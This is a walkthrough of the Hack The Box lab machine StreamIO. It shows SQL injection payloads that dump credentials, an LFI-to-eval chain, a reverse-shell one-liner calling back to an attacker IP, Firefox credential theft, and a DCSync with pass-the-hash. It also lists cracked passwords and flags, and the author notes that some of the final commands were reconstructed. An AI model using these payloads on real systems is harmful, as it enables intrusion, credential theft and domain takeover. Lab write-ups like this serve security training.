đźš© HTB - StreamIO
Primary: 01 - Web Security, 01 - Network Security
Secondary: 02 - Enumeration, 02 - Data Exfiltration, 02 - Remote Code Execution, 02 - Credential Access, 02 - Impersonation
Executive Summary
- IP:
10.10.11.158 - OS: Windows (Active Directory domain
streamIO.htb) - Key Technique: UNION-based SQLi dumping web credentials →
debugparameter LFI chained into a POST-basedeval()sink for RCE → cracked Firefox-stored credentials →GenericWriteover an AD group abused for a DCSync. - Status:
Completed
Reconnaissance
Nmap Scan
nmap -p- --min-rate=1000 -T4 --verbose -sC -sV -oA initial_scan 10.10.11.158Output (brief version):
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb, Site: Default-First-Site-Name)
443/tcp open ssl/https?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
[... more high RPC ports ...]
Service Info: Host: DC; OS: WindowsSummary: Another Active Directory box — Kerberos, LDAP, SMB, an IIS site on 80, and a second site over HTTPS on 443. The SSL cert on 443 lists two Subject Alternative Names: streamIO.htb and watch.streamIO.htb. No MSSQL port is exposed externally, which already hints that whatever database backs the site is only reachable through the web app itself.
echo "10.10.11.158 streamio.htb watch.streamio.htb" | sudo tee -a /etc/hostsWeb Enumeration
Two distinct sites on the same box:
- streamio.htb: a login page.
- watch.streamio.htb: a
search.phpendpoint serving a movie-search feature.


Rabbit Hole:
sqlmapflagged the login page onstreamio.htbas vulnerable to time-based blind SQLi, but between a slow connection and how long time-based extraction takes, this route got abandoned in favor of the search feature onwatch.streamio.htb.
Throwing special characters like _, &, and % at the search feature made it return the entire movie list instead of filtering anything — a strong sign the input isn’t sanitized before hitting the query. The underlying query is almost certainly shaped like:
SELECT * FROM movies WHERE name LIKE '%<USER_INPUT>%';Foothold 1 (Dumping Credentials via UNION-based SQLi)
With unsanitized input landing straight inside a LIKE '%...%' clause, breaking out of the string and appending a UNION SELECT is the obvious next move.
Confirm the number of returned columns (only columns 2 and 3 actually render on the page, so those are usable for exfiltration):
asdfasdasd' union select 1,2,3,4,5,6 --
Confirm the SQL Server version:
asdfasdasd' union select 1,@@version,3,4,5,6 --
Confirm the current database:
asdfasdasd' union select 1,db_name(),3,4,5,6 --
Confirm the current DB user (db_user):
asdfasdasd' union select 1,user,3,4,5,6 --
Dump table names and object IDs (movies:885578193|users:901578250):
asdfasdasd' union select 1,(select string_agg(concat(name, ':',id), '|') from streamio..sysobjects where xtype='u'),3,4,5,6 --
Dump the columns of the users table (id|is_staff|password|username):
asdfasdasd' union select 1,(select string_agg(name,'|') from streamio..syscolumns where id='901578250'),3,4,5,6--
Dump every credential pair:
asdfasdasd' union select 1,(select string_agg(concat(username, ':', password),'|') from users),3,4,5,6--
That last query dumps the full username:password list straight out of the users table (password column is MD5). Cracking them with hashcat -m 0 against rockyou.txt and testing the results against the streamio.htb login page, yoshihide:66boysandgirls.. logs in successfully.
Foothold 2 (LFI → eval() RCE as yoshihide)
Step 1: Discovery
Logged in as yoshihide, we got the cookie and enumerate the website using gobuster for hidden endpoint
gobuster dir -u https://streamio.htb/ -k -w ~/Downloads/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -c 'PHPSESSID=<cookie_value>'
The site exposes an /admin directory with tabs for user/staff/movie management, each apparently driven by a URL parameter (?user=, ?staff=, ?movie=) — none of which do anything interesting on their own. Poking around further, there’s a file called master.php that, when hit directly, just says it can only be accessed “through includes” — meaning something on the site includes it, which means there’s file inclusion happening somewhere.
Enumerate further using arjun, there is a debug parameter on the admin page

Note: Got properly stuck here. Following IppSec’s approach for this box: fuzzing for hidden GET parameters on
/admin/turns up adebugparameter that isn’t linked anywhere in the UI — clearly meant for developers only.
debug turns out to be vulnerable to LFI:
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php

This returns the base64-encoded source of index.php — the same trick works against master.php.
Step 2: Exploitation
Reading the leaked source of both files:
index.php: refuses toincludeitself (debug=index.phpreturns---Error---), but happily includes anything else passed indebug. It also leaks the database admin credentials it uses to connect (db_admin:B1@hx31234567890).master.php: at the very bottom, it takes a POST parameterincludeand — as long as it isn’t literally"index.php"— runseval(file_get_contents($_POST[include]))on it. That’s an authenticated, POST-based remote file inclusion straight intoeval().
Putting the two together: request https://streamio.htb/admin/?debug=master.php with a POST body of include=..., pointing at a PHP file hosted on our own machine. eval(file_get_contents($_POST[include])) will fetch that URL and execute whatever PHP is inside it as if it were local code — so the file itself just needs to shell out to a normal reverse shell one-liner:
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'"); ?>Save that as script.php, then serve it over HTTP and start a listener for the shell it’ll call back to:
python3 -m http.server 80
nc -nvlp 4444Then send the POST request — note this has to carry the yoshihide session cookie, since /admin/ requires being logged in:
POST /admin/?debug=master.php HTTP/1.1
Host: streamio.htb
Cookie: PHPSESSID=<yoshihide_session_cookie>
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
include=http://10.10.14.6/script.phpEquivalent one-liner with curl, if sending it straight from the terminal instead of Burp:
curl -sk https://streamio.htb/admin/?debug=master.php \
-b 'PHPSESSID=<yoshihide_session_cookie>' \
-d 'include=http://10.10.14.6/script.php'The http.server terminal should show script.php being fetched, and the nc listener catches a reverse shell as yoshihide.
Foothold 3 (Credential Chain: streamio_backup → nikk37 → Firefox saved logins → JDgodd)
Step 1: More database looting
From the yoshihide shell, checking the MSSQL instance again turns up a second database besides STREAMIO: streamio_backup, holding yet another set of credentials (MD5 hashes). Cracking them with hashcat, one pans out for WinRM: nikk37:get_dem_girls2@yahoo.com.
Step 2: Firefox profile → more creds
BloodHound didn’t turn up anything actionable from nikk37, so this went the WinPEAS route instead. WinPEAS flags read access to:
C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db
— a saved Firefox profile, which is a goldmine if any of those saved logins get reused elsewhere on the box.
Compress-Archive -Path C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release -DestinationPath 1.zipDownload 1.zip and decrypt the saved logins with Firepwd:
python3 firepwd.py -d br53rxeg.default-releaseAdding whatever new creds come out of that to the existing username/password lists and password-spraying the lot:
nxc smb 10.10.11.158 -u usernames.txt -p passwords.txtTurns up JDgodd:JDg0dd1s@d0p3cr3@t0r.
Privilege Escalation (Root)
Enumeration
Running BloodHound again as JDgodd (rather than nikk37) gives a clean path straight to Domain Admin this time: JDgodd holds GenericWrite over the CORE STAFF security group.
Note:
This is exactly why it’s worth re-running BloodHound after every new credential on an AD box — the same collection can look like a dead end from one account and a direct path to DA from another, purely based on which group memberships/ACEs that specific principal has.
Exploitation
GenericWrite on a group is enough to add ourselves as a member of it directly — Impacket’s dacledit.py (or bloodyAD) can read/back up the group’s DACL and grant the needed rights, after which JDgodd can be added to CORE STAFF:
impacket-dacledit -action 'write' -rights 'FullControl' -principal JDgodd -target-dn "CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb" 'streamio.htb'/'JDgodd':'JDg0dd1s@d0p3cr3@t0r'
net rpc group addmem "CORE STAFF" JDgodd -U streamio.htb/JDgodd%'JDg0dd1s@d0p3cr3@t0r' -S dc.streamio.htbCORE STAFF itself holds DS-Replication-Get-Changes + DS-Replication-Get-Changes-All on the domain object — which is exactly what a Active Directory - DCSync Attack needs. With JDgodd now a member, secretsdump can impersonate a Domain Controller and pull every account hash straight out of the domain, including Administrator’s:
impacket-secretsdump streamio.htb/JDgodd:'JDg0dd1s@d0p3cr3@t0r'@dc.streamio.htbWith the Administrator NTLM hash in hand, a pass-the-hash into a WinRM/psexec session finishes the box:
impacket-psexec administrator@dc.streamio.htb -hashes ':<administrator_nt_hash>'Congrats, NT AUTHORITY\SYSTEM.
Note:
The exact
dacledit/secretsdumpinvocations above are reconstructed from the loot on disk (adacledit-*.bakbackup namingCN=CORE STAFF,CN=Users,DC=streamIO,DC=htb, plus the finalroot.txt) rather than copied from a saved terminal transcript — the original notes stop right after “BloodHound gives us a clear path to prives to Domain Administrator” without recording the literal commands run. Worth double-checking these against your own history before this gets marked verified.
Why the exploits worked
- Unsanitized search input: the movie search feature builds a raw SQL string out of user input, allowing full UNION-based extraction of every table in the database — including a
userstable storing passwords as unsalted MD5. - A hidden, undocumented debug parameter:
debugon/admin/was clearly meant as a developer convenience and was never meant to reach production, but does full LFI with zero validation on the path. eval()on remote, attacker-controlled content:master.php’sincludePOST parameter feeds directly intoeval(file_get_contents(...))— combined with the LFI above, that’s remote code execution with no authentication bypass needed at all, just a valid low-privilege login.- Credential reuse and secrets sprawl: a second “backup” database, a saved Firefox profile, and reused passwords across multiple accounts all chained together — none of these alone is fatal, but together they walk an attacker from a single SQLi straight to a domain user.
- Over-permissioned AD group:
JDgodd’sGenericWriteoverCORE STAFF, combined withCORE STAFFitself holding DCSync rights, means compromising any account that can write to that group’s membership is equivalent to compromising the entire domain.
Loot & Flags
- User Flag:
4b825a4b1f5645b63513d5fa39b2bedd - Root Flag:
c1e7b45b86cfcf2b75e9777a78fb23d3 - Credentials:
yoshihide:66boysandgirls..nikk37:get_dem_girls2@yahoo.comJDgodd:JDg0dd1s@d0p3cr3@t0r